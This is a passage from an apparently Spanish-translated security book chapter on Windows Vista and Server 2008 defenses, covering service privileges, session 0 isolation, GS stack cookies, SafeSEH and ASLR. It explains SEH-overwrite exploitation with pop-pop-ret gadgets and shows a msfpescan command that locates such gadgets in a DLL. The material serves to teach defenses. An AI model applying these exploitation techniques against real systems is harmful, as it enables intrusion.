pueden configurarse mediante la interfaz de línea de comandos del SCM, sc.exe. Se han agrega-
do dos nuevas opciones a esta utilería, qprivs y privs, que permiten la consulta y el estableci-
miento de privilegios de servicio, respectivamente. Si está buscando auditar o bloquear los ser-
vicios que se ejecutan en su máquina de Vista o Server 2008, estos comandos son invaluables. En
las figuras 12-7 y 12-8 se demuestra su uso.
12_SCAMBRAY_12.indd 382 7/28/08 9:54:57 PM

Figura 12-6 Agregado de todos los privilegios en el grupo del servicio
Debe ejecutar cmd.exe con privilegios de Administrador (por ejemplo, mediante runas) para modificar
Nota estos privilegios.
12_SCAMBRAY_12.indd 383 7/28/08 9:54:58 PM

Figura 12-7 Consulta de privilegios de servicio con sc.exe
sugerencia
Si empieza estableciendo privilegios de servicio con sc.exe, asegúrese de especificar todos los
privilegios a la vez. Sc.exe no supone que quiere agregar el privilegio a la lista existente.
Figura 12-8 Establecimiento de privilegios de servicio con sc.exe
12_SCAMBRAY_12.indd 384 7/28/08 9:54:58 PM

Refactorización del servicio

Refactorización del servicio es un nombre agradable para la ejecución de servicios bajo cuentas me-
nos privilegiadas, la manera concisa de ejecutar servicios con la menor cantidad de privilegios.
En Vista, Microsoft ha movido ocho servicios del contexto SYSTEM a LocalService. Cuatro ser-
vicios adicionales de SYSTEM se han movido para ejecutarse bajo la cuenta NetworkService
también. En la tabla 12-1 se divide esto por servicio.
Además, se han introducido seis nuevos hosts de servicio (svchosts). Estos hosts proporcio-
nan flexibilidad agregada cuando se bloquean servicios y aparecen en la lista para aumentar los
privilegios.
• LocalServiceNoNetwork
• LocalServiceRestricted
• LocalServiceNetworkRestricted
• NetworkServiceRestricted
• NetworkServiceNetworkRestricted
• LocalSystemNetworkRestricted
Servicio Contexto anterior Nuevo contexto
Sistema del suceso COM+ SYSTEM SERVICIO LOCAL
Seguridad de Windows SYSTEM SERVICIO LOCAL
Registro de sucesos de Windows SYSTEM SERVICIO LOCAL
Audio de Windows SYSTEM SERVICIO LOCAL
Servicio de estación de trabajo SYSTEM SERVICIO LOCAL
Adquisición de imagen de Windows SYSTEM SERVICIO LOCAL
Hora de Windows SYSTEM SERVICIO LOCAL
Cliente DHCP SYSTEM SERVICIO LOCAL
Telefonía SYSTEM SERVICIO DE RED
Servicios criptográficos SYSTEM SERVICIO DE RED
Agente de directiva SYSTEM SERVICIO DE RED
Terminal Services SYSTEM SERVICIO DE RED
Tabla 12-1 Servicios de Vista que ahora se ejecutan bajo cuentas menos privilegiadas
12_SCAMBRAY_12.indd 385 7/28/08 9:54:58 PM

Cada uno de estos servicios opera con fichas con restricción de escritura, como se describió al
principio de este capítulo, excepto los que tienen un sufijo NetworkRestricted. Grupos con este
sufijo limitan el acceso a la red por parte del servicio a un conjunto fijo de puertos, lo que cubri-
remos ahora con un poco más de detalle.
Acceso restringido a red

El concepto de restricción de aplicaciones a un puerto fijo o dinámico no es nuevo en el mundo
de Windows. Estas capacidades estaban presentes en XP. Sin embargo, con la introducción de la
nueva Firewall de Windows con seguridad avanzada, las directivas de restricción de red tam-
bién pueden aplicarse a servicios. Además de las capacidades de filtrado de la anterior Firewall
de Windows, la nueva firewall permite a los administradores crear reglas que respeten las si-
guientes características de conexión:
• Direccionalidad Las reglas pueden aplicarse ahora al tráfico entrante y saliente.

• Protocolo La firewall es capaz ahora de tomar decisiones de acuerdo con un conjunto
expandido de tipos de protocolos.
• Directivo Las reglas pueden configurarse para aplicarse sólo a un usuario específico.
• Interfaz Ahora los administradores pueden aplicar reglas a un conjunto de interfaces
determinado, como Inalámbrico, Red de área local, etcétera.
La interacción con éstas y otras características de la firewall son sólo unas cuantas de las ma-
neras en que los servicios pueden asegurarse de manera adicional.
Aislamiento de la sesión 0
En 2002, el investigador Chris Paget introdujo un nuevo vector de ataque en Windows, denomi-
nado “ataque de Shatter”. Uno de los pilares clave de este ataque incluía servicios con privile-
gios elevados interactuando con las sesiones de inicio de sesión de usuarios menos privilegia-
dos. Como recordatorio, lo más importante de un ataque de Shatter es enviar a un servicio pri-
vilegiado un mensaje de ventana que cause que se ejecute código de shell proporcionado por el
atacante, elevando los privilegios de éste a los del servicio (consulte “Referencias y lecturas adi-
cionales” para conocer detalles de los ataques de Shatter).
¿Qué tiene de especial la sesión 0? Los servicios anteriores a Vista, junto con el primer usuario
en iniciar sesión, participan dentro de la sesión 0 y cada usuario subsecuente participa en las se-
siones 1, 2, 3, etc. Como ya se afirmó, ataques como Shatter dependen de la capacidad de enviar
mensajes de ventana a servicios con privilegios muy elevados. Una de las razones por las que los
atacantes eran capaces de enviar mensajes de ventana a los servicios era porque compartían una
sesión, la 0. Al separar las sesiones de usuario y de servicio, se mitigan los ataques parecidos al
Shatter. Ésta es la esencia del aislamiento de la sesión 0: en Vista, los servicios y los procesos del
sistema permanecen en la sesión 0, mientras que las sesiones de usuario empiezan en la sesión 1.
Esto se observa dentro del Administrador de tareas, como se muestra en la figura 12-9.
En la figura 12-9, se observa que casi todos los servicios y procesos del sistema existen en la
sesión 0, mientras que los procesos de usuario permanecen en la sesión 1. Vale la pena observar
que no todos los procesos del sistema se ejecutan en la sesión 0. Por ejemplo, winlogon.exe y una
instancia de csrsss.exe existen en las sesiones de usuario bajo el contexto de SYSTEM. Aún así, el
aislamiento de sesión, cuando se une al aislamiento de privilegios de interfaz de usuario, repre-
senta una mitigación efectiva para un vector una vez común para los atacantes. En la siguiente
sección, analizaremos características de seguridad adicionales que funcionan automágicamente
12_SCAMBRAY_12.indd 386 7/28/08 9:54:58 PM

Figura 12-9 Separación entre las sesiones de usuario y de servicio
desde la perspectiva de un administrador de seguridad. Sin embargo, es fundamental compren-

der cómo funcionan estas características para poder sortearlas.
SU COMPILADOR PUEDE SALVARLO

Una de las fallas de implementación más comunes (si no es que la más común) que impacta la
seguridad es el sobreflujo del búfer. Aunque estas condiciones se han estado explotando desde
principios de 1988, cuando surgió el gusano Morris, siguen estando demasiado presentes en el
software que se está escribiendo hoy en día. Con el tiempo, la industria del software y quienes
escriben sistemas operativos han dado pasos para minimizar la posibilidad de explotar estas
condiciones. En esta sección analizaremos las mitigaciones proporcionadas por el compilador
utilizado para construir Vista y Server 2008. Antes de pasar a las mitigaciones, analizaremos bre-
vemente la condición de sobreflujo de búfer para que queden claras estas mitigaciones.
Revisión general de los sobreflujos

Un sobreflujo de búfer es un término genérico usado para describir la condición que es resultado de
tratar de almacenar más información en una ubicación de memoria de la que permite el espacio asig-
nado. Por ejemplo, si un desarrollador está escribiendo una aplicación que lee una serie de nombres
de un archivo, podría suponer que el nombre más largo habrá de tener 25 caracteres. Para estar se-
guro, asigna espacio suficiente para contener nombres hasta de 50 caracteres de largo y empieza a
leerlos. Si el archivo contiene un nombre que es mayor de 50 caracteres, ocurre un sobreflujo de
12_SCAMBRAY_12.indd 387 7/28/08 9:54:59 PM

búfer. Si un enemigo es capaz de influir en los nombres que ingresa este archivo, podría tener la ca-
pacidad de modificar la ejecución del programa al reemplazar quirúrgicamente valores en partes de
la memoria que son adyacentes al búfer empleado para almacenar el nombre adquirido.
Cuando una aplicación necesita almacenar información en la memoria, como nombres, tiene
un par de opciones para colocarlos: el montón o la pila. Un sobreflujo de búfer ocurre en cualquie-
ra de estas ubicaciones, pero por ahora nos concentraremos en el de la pila. Ésta, que se usa para
controlar la ejecución, abarca una serie de marcos de pila. Un marco de pila se coloca en la pila
cada vez que se llama a una función y se elimina cada vez que se regresa una función. Un marco
de pila, como lo crea el compilador original Visual Studio 2003 en la plataforma x86, usa el diseño
mostrado en la figura 12-10, empezando primero con la ubicación de memoria más elevada.
Cuando ocurre un sobreflujo de pila, empieza a ascender por ésta, haciendo a un lado otras
variables locales, estructuras de manejadores de excepciones, el puntero al marco, direcciones de
devolución y argumentos pasados a la propia función. Los atacantes aprovechan este comporta-
miento al sobreescribir estos componentes de marcos con valores útiles. En las secciones siguien-
tes, analizaremos las características de seguridad proporcionadas por los compiladores VS2003
y VS2005 que ayudan a reducir la probabilidad de que un atacante explote con éxito las condi-
ciones de sobreflujo:
• Cookies de GS
• SafeSEH
• Cambios en el diseño de la pila
• Aleatorización del diseño del espacio de direcciones (ASLR, Address Space Layout
Randomization)
Cookies de GS
GS es una tecnología en tiempo de compilación que se orienta a evitar la explotación del sobreflujo
de búfer de pila en la plataforma Windows. GS logra esto al colocar un valor aleatorio, o una cookie,
en la pila entre las variables locales y la dirección de respuesta, como se muestra en la figura 12-11.
Parámetros
Dirección
de respuesta
Puntero al marco
Marco de manejador
de excepciones
Variables locales
Registros
del llamado
Figura 12-10 Marco de pila estándar generado por Visual Studio 2003
12_SCAMBRAY_12.indd 388 7/28/08 9:55:00 PM

Parámetros
Dirección
de respuesta
Puntero al marco
Cookie
Marco del manejador

de excepciones
Variables locales
Registros
del llamado
Figura 12-11 Marco de pila con cookies de GS
Este concepto no es único para el mundo de Windows. En realidad, las distribuciones de Li-
nux han tenido soluciones similares desde hace tiempo en la forma de StackGuard y ProPolice.
Si un sobreflujo de búfer de pila basta para que un atacante controle la dirección de respuesta o
el puntero al marco, la cookie también se habrá sobrescrito. Por tanto, antes de que la función
regrese, puede verificarse este valor de cookie para asegurar que no ha ocurrido un sobreflujo.
Si el valor de la cookie no coincide con el original, se presenta un cuadro de diálogo de error al
usuario y se termina el proceso.
Bajo la capucha de GS
Cuando se inicia una aplicación nativa, la primera función que suele ejecutarse es uno de los pun-
tos de entrada del motor en tiempo de ejecución de C (CRT, C RunTime), como mainCRTStartup.
La primera acción tomada por estas funciones es llamar a __security_init_cookie, que es
responsable de inicializar la cookie que con el tiempo terminará en cada marco de pila de la fun-
ción calificada. Digo “calificada” porque varios escenarios producen un marco de pila sin cookie.
• No está habilitada la opción de optimización (O).

• La función no contiene un búfer de pila.
• La función está decorada con _declspec(naked).
• La función tiene una lista de argumentos de variable (“...”).
• La función empieza con un código de ensamblado en línea.
• El compilador determina que las variables de la función sólo se usan de manera tal que
sea menos probable que se exploten.
En realidad, la investigación previa por parte de Ollie Whitehouse de Symantec ha descu-

bierto otro escenario que da como resultado un marco sin cookies: un búfer de pila menor de 5
bytes. Sin embargo, a partir de VS2005 SP1, los desarrolladores tienen la opción de agregar com-
12_SCAMBRAY_12.indd 389 7/28/08 9:55:00 PM

probaciones adicionales a GS al agregar strict_gs_check(on) a su código. Esto causa que el

compilador coloque cookies de seguridad en lugares que de otro modo no las tendrían, como
búferes menores de 5 bytes y otros asignados para matrices de enteros.
El objetivo principal de __security_init_cookie es generar un valor no determinístico
para la cookie de seguridad. Para lograr esto, se capturan varios valores ambientales, incluidos
éstos:
• Hora del sistema

• ID del proceso actual
• ID del subproceso actual
• Valor estático en el PE
• Cuenta de ticks actuales
• Contadores de rendimiento
Esto se observa al desensamblar la función __security_init_cookie, como se muestra

en el siguiente listado de código:
0:000> uf __security_init_cookie
97 00403fac 55 push ebp
97 00403fad 8bec mov ebp,esp
97 00403faf 83ec10 sub esp,10h
117 00403fb2 a110104200 mov eax,dword ptr [overflow!__securi-
ty_cookie
…
170 00403fe0 50 push eax
170 00403fe1 ff1598524200 call dword ptr
[overflow!_imp__GetSystemTimeAsFileTime (00425298)]
175 00403fe7 8b75fc mov esi,dword ptr [ebp-4]
175 00403fea 3375f8 xor esi,dword ptr [ebp-8]
178 00403fed ff1594524200 call dword ptr
[overflow!_imp__GetCurrentProcessId (00425294)]
178 00403ff3 33f0 xor esi,eax
179 00403ff5 ff1574524200 call dword ptr
[overflow!_imp__GetCurrentThreadId (00425274)]
179 00403ffb 33f0 xor esi,eax
180 00403ffd ff1590524200 call dword ptr [overflow!_imp__GetTic-
kCount]
180 00404003 33f0 xor esi,eax
182 00404005 8d45f0 lea eax,[ebp-10h]
182 00404008 50 push eax
182 00404009 ff158c524200 call dword ptr
[overflow!_imp__QueryPerformanceCounter (0042528c)]
182 0040400f 8b45f4 mov eax,dword ptr [ebp-0Ch]
182 00404012 3345f0 xor eax,dword ptr [ebp-10h]
187 00404015 33f0 xor esi,eax
Como se desprende de este listado, el valor de la cookie de seguridad se almacena en el re-

gistro esi, mientras que el resultado de cada llamada a función se almacena en el registro eax.
Entre cada llamada, puede ver que a estos valores se les aplica XOR contra el valor de la cookie
actual, con lo que se crea una cookie de seguridad no determinística.
12_SCAMBRAY_12.indd 390 7/28/08 9:55:01 PM

Nota Aunque no trataba el tema de los valores no determinísticos de cookies, Matt Miller escribió
recientemente un artículo en uninformed.org que refleja su investigación inicial sobre el determinismo
de las cookies de GS. Su investigación ha mostrado que debido a la accesibilidad de los orígenes de
la entropía utilizada para generar la cookie de GS, los atacantes locales pueden aumentar su
probabilidad de calcular el valor de la cookie de un proceso. Sin embargo, al momento de escribir
esto, la investigación de Miller no representa una amenaza inmediata a la eficacia de las cookies de
GS, pero es un punto de partida.
Una vez que se ha inicializado la cookie, la aplicación opera normalmente hasta que se ha
invocado una función calificada. En esas instancias, el compilador ha modificado la función de
prólogo para insertar la cookie dentro del marco de la pila antes de la dirección de respuesta y el
puntero al marco. Esto se observa en el siguiente listado de código:
0:000> uf foo
21 00401040 55 push ebp
21 00401041 8bec mov ebp,esp
21 00401043 83ec24 sub esp,24h
21 00401046 a110104200 mov eax,dword ptr [overflow!__securi-
ty_cookie]
21 0040104b 33c5 xor eax,ebp
21 0040104d 8945fc mov dword ptr [ebp-4],eax
En este listado, las primeras tres instrucciones representan una función típica de prólogo. Las
siguientes tres instrucciones representan modificaciones hechas por el compilador de Visual
Studio con /GS habilitada. La cuarta instrucción carga el valor previamente inicializado de
__security_cookie en el registro eax. Este valor se usa en una comparación XOR contra el
puntero al marco actual (EBP), como se ve en la quinta instrucción. Por último, este valor se co-
loca en el marco de la pila, como se ve en la instrucción final.
Antes de que se devuelva esta función, debe asegurarse de que la versión de la cookie que se
encuentra en el marco de la pila coincide con el valor almacenado en la versión previamente ini-
cializada, __security_cookie. Para lograr esto, el epílogo de la función debe modificarse con
las siguientes instrucciones:
28 00401071 8b4dfc mov ecx,dword ptr [ebp-4]

28 00401074 33cd xor ecx,ebp
28 00401076 e86d020000 call overflow!__security_check_cookie
(004012e8)
En este listado, la primera instrucción carga la versión del marco de la pila de la cookie en el
registro ecx. Este valor se usa con XOR contra el puntero al marco, como se ve en la segunda ins-
trucción. En Vista, esto proporciona entropía adicional debido a la ASLR. Por último, se llama a
__security_check_cookie, que compara el valor contenido en ecx contra el valor original
en __security_cookie.
Entre todo esto, las cookies son muy efectivas para evitar las explotaciones de sobreflujos de
pila en plataformas Windows y diferentes de éstas. Sin embargo, existen complejidades dentro
de Windows que evitan que GS por sí solo ponga un final a la explotación existente en los sobre-
flujos de búfer de pila. En la siguiente sección analizamos opciones adicionales en tiempo de
compilación que complementan a GS.
12_SCAMBRAY_12.indd 391 7/28/08 9:55:01 PM

SafeSEH
Como GS, SafeSEH (también conocido como Software Data Execution Prevention, prevención
de la ejecución de datos de software, o DEP) es una tecnología de seguridad en tiempo de com-
pilación. En este caso, en lugar de proteger el puntero al marco y la dirección de respuesta, el
propósito de SafeSEH es asegurar que no se abuse del marco del manejador de excepciones. Ya
analizamos el diseño del marco de pila en relación con la cookie de GS. En ese diagrama, la coo-
kie de GS se coloca sobre el marco del manejador de excepciones. Como se describe originalmen-
te en un artículo de Dave Litchfield, “Derrota del mecanismo de prevención de sobreflujo de pila
de Microsoft Windows Server 2003”, un atacante puede sobreescribir el manejador de excepcio-
nes con un valor controlado y obtener la ejecución de código de una manera más confiable que
si sobreescribiera directamente la dirección de respuesta. Para atender esto, SafeSEH se introdu-
jo en Windows XP SP2 y Windows Server 2003 SP1. Antes de que pasemos a SafeSEH, analice-
mos brevemente el manejador estructurado de excepciones.
Manejador estructurado de excepciones

El manejador de excepciones es una función central de casi todas las aplicaciones y los sistemas
operativos, incluidos Windows. El objetivo del manejador de excepciones es proporcionar a la
aplicación o el sistema operativo la oportunidad de emprender una acción cuando ocurre una
condición determinada, como dividir entre cero o tratar de acceder a una dirección de memo-
ria no válida. Para lograr esto, cada subproceso tiene la capacidad de registrar manejadores de
excepciones, que son funciones que se ejecutan en el caso de que ocurra una excepción. Los ma-
nejadores estructurados de excepciones (SEH, Structured Exception Handlers) están registrados
para crear un registro EXCEPTION_REGISTRATION_RECORD y antecederlo con el atributo
ExceptionList de la estructura NT_TIB, que toma la siguiente forma:
0:000> dt _NT_TIB
+0x000 ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 StackBase : Ptr32 Void
+0x008 StackLimit : Ptr32 Void
+0x00c SubSystemTib : Ptr32 Void
+0x010 FiberData : Ptr32 Void
+0x010 Version : Uint4B
+0x014 ArbitraryUserPointer : Ptr32 Void
+0x018 Self : Ptr32 _NT_TIB
La estructura NT_TIB está definida en winnt.h.

Nota
A partir de aquí, vemos que el atributo ExceptionList es el primero de NT_TIB y es un

puntero a una lista vinculada de EXCEPTION_REGISTRATION_RECORD. Éste contiene dos pun-
teros, uno al Next de EXCEPTION_REGISTRATION_RECORD en la lista y otro al Handler real,
que es una función de llamada de respuesta a la que se da la oportunidad de emprender una ac-
ción cuando ocurre una excepción. En una plataforma Intel, podemos acceder a Exception-
List mediante el puntero localizado en FS:0. Al eliminar la referencia al puntero Next del
EXCEPTION_REGISTRATION_RECORD de esta ubicación podemos recorrer la lista hasta que
encontremos un valor 0xFFFFFFFF, que denota el final de la cadena del registro. Esto puede
observarse en el siguiente listado.
12_SCAMBRAY_12.indd 392 7/28/08 9:55:01 PM

0:000> dt _EXCEPTION_REGISTRATION_RECORD poi(poi(fs:0))

+0x000 Next : 0x0012ff90 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x004012c0 exceptions!_except_handler4+0
0:000> dt _EXCEPTION_REGISTRATION_RECORD 0x0012ff90
+0x000 Next : 0x0012ffdc _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x004012c0 exceptions!_except_handler4+0
0:000> dt _EXCEPTION_REGISTRATION_RECORD 0x0012ffdc
+0x000 Next : 0xffffffff _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x77138bf2 ntdll!_except_handler4+0
Cuando ocurre una excepción, el sistema operativo recorre esta misma lista hasta que alcan-
za el final o una de las llamadas de respuesta decide manejar la excepción. Un manejador hace
que el sistema operativo esté consciente de su decisión al regresar uno de un puñado de valores,
incluidos ExceptionContinueExecution o ExceptionContinueSearch. La primera ins-
truye al sistema operativo para que vuelva a probar la instrucción que causó la excepción, mien-
tras el manejador presumiblemente (o no) toma alguna acción, y la última instruye al sistema
operativo para que siga recorriendo la lista en busca de voluntarios.
Así que esto es lo que tenemos hasta ahora: un mecanismo basado en pila que permite que
cada subproceso defina un bloque de código que adquirirá el control de la ejecución cuando se
presente una determinada condición. Un artefacto importante de este mecanismo es la presencia
de jugosos punteros a funciones en la pila. Echemos un vistazo a la manera en que se ha abusado
de estos punteros a funciones para comprometer sistemas cercanos al suyo.
Explotaciones de sobreescritura de SEH

Como ya se determinó, el abuso de SEH no es precisamente algo nuevo. Sin embargo, explicare-
mos de manera breve cómo explotar una sobreescritura de SEH para que los beneficios de Safe-
SEH se vuelvan más evidentes. Una de las primeras cosas de las que debe estar consciente es que
la ubicación de la pila no es determinística (ni siquiera en versiones anteriores de Windows que
carecían de los beneficios de ASLR). Las implicaciones de esto, desde el punto de vista de una
posibilidad de explotación, son importantes. No podemos simplemente sobreescribir una direc-
ción de respuesta o un puntero a función con una dirección de pila codificada que señale a nues-
tro código de shell. En cambio, debemos agregar un nivel de falta de dirección al sobreescribir
con una dirección determinística que contiene instrucciones que pasan el control de la ejecución
de vuelta a nuestro código de shell, como pop, pop, ret. Hoy en día, encontrar estas ubica-
ciones en destinos previos a Vista o Server 2008 es muy fácil, porque basta con usar un explora-
dor Web. El proyecto Metasploit tiene una base de datos de un código de operación en línea que
nos permite buscar ubicaciones en memoria que contienen las instrucciones que necesitamos. Si
está buscando un destino que resida en una biblioteca dinámica de vínculos (DLL, Dynamic
Link Library), puede usar msfpescan, como se muestra en el siguiente listado:
C:\>ruby c:\tools\msf\msfpescan -p c:\cygwin\bin\cygcrypt-0.dll

[c:\cygwin\bin\cygcrypt-0.dll]
0x10001042 pop esi; pop ebp; ret
0x1000110c pop edi; pop ebp; ret
0x100011c4 pop edi; pop ebp; ret
0x100012d7 pop edi; pop ebp; ret
0x10001470 pop edi; pop ebp; ret
0x10001704 pop edi; pop ebp; ret
0x10001ae3 pop esi; pop ebp; ret
12_SCAMBRAY_12.indd 393 7/28/08 9:55:02 PM

Cuando se explota una sobreescritura de SEH, un atacante golpea el atributo Handler del
EXCEPTION_REGISTRATION_RECORD con la dirección de una secuencia de instrucciones si-
milar a pop, pop, ret. Cuando ocurre una excepción, esto causa que Windows pase la eje-
cución a esa dirección, que luego regresa a la ubicación de la pila del atributo Next de
EXCEPTION_REGISTRATION_RECORD. Este atributo también es controlado por el atacante,
pero si recordamos el diseño de la pila vista en páginas anteriores, Next está debajo del atribu-
to Handler. Esto limita al atacante a 4 bytes antes de llegar a la dirección de Handler que pro-
porcionó antes para obtener la ejecución original del código. Sin embargo, al sobreescribir el
atributo Next con instrucciones que saltan al atributo Handler, el atacante suele tener sufi-
ciente espacio para el código de shell (y esto es exactamente lo que sucede). En la figura 12-12
se ilustra el aspecto que tiene esto.
Aquí vemos que la ejecución empieza en el atributo Handler, que apunta a un área de me-
moria que contiene una sección pop, pop, ret. Esto aterriza en el atributo Next, donde un
par de NOP (0x90) y un corto salto de 6 bytes nos esperan. EB es el código operativo de Intel
para un salto corto. Estos valores se leen de derecha a izquierda para cumplir con la secuencia
endian.
Ahora que comprende cómo se han explotado estas condiciones, echemos un vistazo a al-
gunos de los mecanismos proporcionados por SafeSEH que ayudan a evitar este tipo de explo-
tación.
SafeSEH en acción
En un esfuerzo por evitar que los atacantes abusen de los manejadores de excepciones, casi to-
dos los ejecutables incluidos con Windows XP SP2, 2K3 SP1, Vista y Server 2008 contienen una
tabla de manejadores de excepciones seguros. Cuando ocurre una excepción, Windows valida
que, entre otras cosas, el manejador articulado en el registro exista en la lista de manejadores de
excepciones seguros. Si no, la aplicación se termina. Podemos determinar que un ejecutable
Figura 12-12 Explotación de sobreescritura de SEH
12_SCAMBRAY_12.indd 394 7/28/08 9:55:02 PM

tiene un conjunto de manejadores de excepciones seguras al ejecutar DUMPBIN con la opción

LOADCONFIG, como se muestra aquí:
C:\tools>dumpbin /loadconfig c:\Windows\system32\calc.exe

Microsoft (R) COFF/PE Dumper Version 8.00.50727.42
Copyright (C) Microsoft Corporation. All rights reserved.
Dump of file c:\Windows\system32\calc.exe

File Type: EXECUTABLE IMAGE
Section contains the following load config:
...
001780 Safe Exception Handler Table
5 Safe Exception Handler Count
Safe Exception Handler Table

Address
--------
01012AE2
01012D57
01012D84
01012DA4
01012DC4
A partir de esto, podemos ver que calc.exe tiene cinco manejadores de excepciones segu-
ros. Cuando ocurre una excepción de usuario, Windows invoca a la función KiUserExcep-
tionDispatcher dentro de ntdll.dll. Si trazamos esta llamada aún más, veremos que el
manejador de excepciones se pasa a RtlIsValidHandler. Esta función descansa en
RtlLookupFunctionTable y RtlCaptureImageExceptionValues para extraer la lista
segura de la imagen. RtlIsValidHandler devuelve verdadero o falso, dependiendo de un
par de condiciones. El análisis que hizo Ben Nagy de SafeSEH dio como resultado el siguiente
seudocódigo que describe estas condiciones con todo detalle:
if (SEHTable != NULL && SEHCount != 0) {

if (SEHtable == /1 && SEHCount == /1) {
//Administró el código pero no la tabla de registro SEH
//o IMAGE_LOAD_CONFIG.DllCharacteristics == 4
return FALSE;
}
if (&handler is registered) {
return TRUE;
else
return FALSE;
}
}
//de otro modo...
if (&handler is on an NX page) {
if (DEP us turned on) {
bail (STATUS_ACCESS_VIOLATION);
else
12_SCAMBRAY_12.indd 395 7/28/08 9:55:02 PM

return TRUE;
}
}
if (&handler is on a page mapped MEM_IMAGE) {
//solo es verdadero normalmente para módulos ejecutables
if (SEHTable == NULL && SEHCount == 0) {
return TRUE;
//quizás uno antiguo o DLL de terceros
//sin registros SEH
}
return FALSE // debemos de atrapar esto antes
//así algo está mal.
}
//El manejador está en una página eXecutable, pero no en espacio de módulo
//Reconózcalo para compatibles.
return TRUE;
Las implicaciones de estas comprobaciones son importantes, desde el punto de vista de

una explotación. Este mecanismo elimina nuestra capacidad de que aparezcan las ubicaciones
de pop, pop, ret dentro de las imágenes cargadas que contiene los registros SEH y, por
tanto, nuestra capacidad de lograr la ejecución fácil del código mediante la sobreescritura de
SEH. Sin embargo, como lo señala Nagy, las puertas permanecen abiertas. Si la dirección está
localizada fuera de un módulo cargado y está marcada como ejecutable, se permite la direc-
ción del manejador.
Consideraciones relacionadas con SafeSEH

Una limitación de este diseño, como lo señala el excelente artículo de Matt Miller: “Prevención
de la explotación de sobreescrituras de SEH”, está enraizado en el hecho de que este control se
implementa en el tiempo de compilación en lugar del de ejecución. Como tal, las aplicaciones
heredadas y el software de terceros tal vez no esté protegido. En su artículo, Miller describe un
método más flexible para resolver el problema de la sobreescritura de SEH mediante modifica-
ciones al motor del tiempo de ejecución. En lugar de depender de una lista de manejadores de
excepciones seguros, la solución de Miller pide la adición de un registro personalizado, o un
marco de validación, al final de ExceptionList durante el inicio del subproceso. Además, nt
dll!KiUserExceptionDispatcher está enganchado para proporcionar una oportunidad
de recorrer ExceptionList y asegurar que pueda alcanzarse el marco de validación. Si esto es
posible, la solución supone que no ha ocurrido la sobreescritura de SEH. Si no puede alcanzarse
el marco de validación, la solución supone que ha ocurrido una sobreescritura de SEH y se evita
la ejecución adicional. Este comportamiento se basa en lo siguiente:
• Para obtener control mediante la sobreescritura de SEH, el atacante debe golpear al

Handler.
• Si Handler es golpeado, así, también, debe hacerse con el atributo Next. Esto se debe
a que este último atributo se encuentra debajo de Handler en la pila.
• Si el atributo Next es golpeado, se elimina la capacidad de recorrer la
ExceptionList hasta su final.
12_SCAMBRAY_12.indd 396 7/28/08 9:55:03 PM

¿Entonces qué evita que un atacante sobreescriba el atributo Next con la dirección del marco
de validación, siempre y cuando la sepa? Nada, en realidad. Sin embargo, si recordamos lo que
se dijo antes, en esta misma sección, después de que la ejecución regresa de la secuencia pop,
pop, ret, aterriza en la ubicación del atributo Next. Si un atacante trata de engañar a la solu-
ción de Miller al sobreescribir el atributo Next con la dirección del marco de validación, el pro-
ceso dejará de funcionar porque lo más probable es que la dirección represente instrucciones no
válidas para el procesador. Si, por suerte, la dirección se convierte en instrucciones válidas, la
posibilidad de que cause que la ejecución salte a una ubicación controlada por el atacante (antes
de ejecutarse en el Handler) es diminuta. Esta solución, o cualquier otra, para el caso, hace im-
posible la ejecución de código. Sin embargo, si lo hace, reduce en gran medida la eficacia de los
métodos de explotación de SEH.
Cambios en la pila
Debe ser muy evidente que el diseño de la pila juega un papel muy importante en la capacidad
de explotar diversas condiciones. Con esto presente, Microsoft hizo unas cuantas modificacio-
nes al diseño de la pila para reducir la probabilidad de que gente malvada haga cosas malas a su
CPU. Con este fin, el compilador incluido con Visual Studio 2005 tiene la capacidad de detectar
argumentos de funciones que pudieran ser sensibles y colocar copias de ellos antes búferes loca-
les (dejándolos a un lado en el caso de que un búfer se sobrecargue). En las figuras 12-13 y 12-14
se ilustra este cambio.
Parámetros
Parámetros
Dirección
Dirección
de respuesta
de respuesta
Puntero al marco
Puntero al marco
Cookie
Cookie
Marco del manejador

de excepciones
Marco del manejador
de excepciones
Variables locales
Variables locales
Parámetros
copiados
Registros
del llamado Registros
del llamado
Figura 12-13 Pila anterior Figura 12-14 Pila con argumentos

protegidos
12_SCAMBRAY_12.indd 397 7/28/08 9:55:04 PM

Luego, el código dentro de la función hará referencia a la versión copiada. Esto reduce la ca-
pacidad de un atacante de crear un sobreflujo de un búfer local y de obtener control de los argu-
mentos de la función que se usan antes del regreso de la función. Además, de acuerdo con
Brandon Bray, esto también protegerá contra un escenario que podría permitir que un atacante
abuse de los parámetros al pasar las comprobaciones de GS al sobreescribir el valor de la cookie
de seguridad con un valor conocido. Como verá, se trata de un pequeño pero efectivo cambio
que está dificultando las cosas a los atacantes.
Aleatorización del diseño del espacio de direcciones

Antes, consideramos la importancia, desde la perspectiva del atacante, de tener algún conoci-
miento relacionado con los pormenores de los datos útiles o controlables. Por ejemplo, cuando
analizamos SafeSEH, se volvió evidente que un atacante suele depender del conocimiento de la
ubicación de instrucciones útiles, como pop, pop, ret, para pasar la ejecución a su explota-
ción. Los ataques públicos contra la protección de ejecución de datos (DEP, Data Execution Pro-
tection), las sobreescrituras de direcciones genéricas de respuesta, etc., suelen depender de que
se tengan algunos conceptos previos relacionados con la ubicación de la memoria. Vaya, aun la
existencia de la base de datos de código operativo Metasploit y sus asignaciones de la dirección
14,210,634 infieren un cierto grado de importancia. ¿Entonces qué pasa si podemos quitar este
aliado a un atacante: la capacidad de predecir en qué lugar de la memoria se encuentran las
instrucciones útiles y los datos controlables? ¿Sería el final para las explotaciones de ejecución
de código remoto? ¿Todas las vulnerabilidades se considerarían como simples negaciones del
servicio y desaparecerían los botines de iDefense y el error 3Com? Lo más probable es que no,
pero dificultaría la vida a los atacantes. Y eso es lo que Microsoft hizo con Vista; quitó una pá-
gina del libro del mundo de UNIX y cocinó la capacidad de aleatorizar la ubicación del lugar
en que residen las asignaciones en el montón y la pila de las imágenes ejecutables (DLL, EXE,
etcétera).
Inclusión en ASLR
Como las salvaguardas ya analizadas en esta sección, ASLR también se habilita por imagen me-
diante un parámetro de tiempo integrado. En este caso se trata una opción vinculadora, /DYNA-
MICBASE. En realidad, a menos que haya integrado su aplicación con el vinculador incluido con
Visual Studio 2005 SP1 o el kit de controladores de Windows, ésta no tiene incluido ASLR. En
realidad, todo lo que hace esta opción del vinculador es activar o desactivar una marca en el atri-
